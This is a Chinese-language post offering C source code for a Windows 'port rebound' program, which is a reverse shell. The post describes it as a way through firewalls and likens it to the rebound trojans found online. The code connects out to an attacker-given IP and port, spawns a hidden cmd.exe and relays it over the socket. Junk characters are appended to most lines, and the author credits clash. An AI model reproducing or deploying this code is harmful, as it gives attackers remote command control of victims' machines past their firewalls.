Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 'qR)f\
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/* ============================== )+;Xfftz  
Rebound port in Windows NT mS)|i+5  
By wind,2006/7 W&E?#=*X  
===============================*/ \09m ?;^  
#include -'SpSy'_  
#include Ql`N)!  
X>}-UHKV+  
#pragma comment(lib,"wsock32.lib") VX+:k.}  
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void OutputShell(); X2CpA;#;7l  
SOCKET sClient; sfb)iH|sW  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; |~)!8N.{  
n*twuB/P 1  
void main(int argc,char **argv) ]w7wwU^^*U  
{ 5d?\>dA  
WSADATA stWsaData; 05o +VF;z  
int nRet; sa8Q1i&%  
SOCKADDR_IN stSaiClient,stSaiServer; TsiI5'tx  
D(bQFRBY6"  
if(argc != 3) IIj :\?r  
{ [wp(s2=  
printf("Useage:\n\rRebound DestIP DestPort\n"); GYp}V0  
return; C/3
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} e`]x?t<U4/  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2%!yV~Z  
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stSaiClient.sin_family = AF_INET; "rHcsuSEw  
stSaiClient.sin_port = htons(0); LN=6u  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); a!?JVhD&  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tfz"9PV80  
{ mz-sazgV  
printf("Bind Socket Failed!\n"); _
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return; :v$][jZ2  
} nF"NXYa  
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stSaiServer.sin_family = AF_INET; msf%i!  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t%S2D  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7XM:4whw  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) luvxwved  
{ $kAal26z  
printf("Connect Error!"); 3Gk\3iU!  
return; Z'!Ii+'6  
} pB(|Y]3A  
OutputShell(); =lb5 #  
} }Od=WQv+  
#(Xv\OE  
void OutputShell() AHB_[i'>7  
{ z^,P2kqK_  
char szBuff[1024]; %fJ~3mu  
SECURITY_ATTRIBUTES stSecurityAttributes; _P}wO8  
OSVERSIONINFO stOsversionInfo; >;^t)6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; /#Fz K  
STARTUPINFO stStartupInfo; K=K]R01/o  
char *szShell; 4tA`,}ywPq  
PROCESS_INFORMATION stProcessInformation; P7`RAz  
unsigned long lBytesRead; O3/w@q Q
 
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KA/~q"N  
stSecurityAttributes.lpSecurityDescriptor = 0; (C9{|T+h  
stSecurityAttributes.bInheritHandle = TRUE; :|&S7
&l]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F2)\%HR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |U:VkiKt  
{ POfT m}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qsG}A  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yd=NafPM  
stStartupInfo.wShowWindow = SW_HIDE; ]39])ul  
stStartupInfo.hStdInput = hReadPipe; <^n@q f}  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wn Q% 'Eo  
nN'>>'@>  
GetVersionEx(&stOsversionInfo); uY;7&Lw y1  
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switch(stOsversionInfo.dwPlatformId) cgV5{|P  
{ c&"OhzzJK'  
case 1: ET\>cxSp  
szShell = "command.com"; werTwe2Q  
break; E0t%]?1  
default: UA3!28Y&E3  
szShell = "cmd.exe"; qZ<|A%WQ  
break; a/Ik^:>m  
} Nm{J=`  
-Pp =)_O  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :"Gd;~p.  
Sp-M:,H3H  
send(sClient,szMsg,77,0); U6IvN@ g  
while(1) [M#I Nm}  
{ *|B5,Ey  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); gR76g4|=;  
if(lBytesRead) u OB`A-K  
{ W<\*5oB%H  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); lz:+y/+1  
send(sClient,szBuff,lBytesRead,0); __Egr@  
} gg?O0W{  
else LZ4Z]!V  
{
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lBytesRead=recv(sClient,szBuff,1024,0); vSv:!5*  
if(lBytesRead<=0) break; j"Z9}F@  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); '>Uip+'  
} Hdda/?{b  
} zlhU[J}"1|  
 K)P].htw  
return; F7&Oc)f"B  
}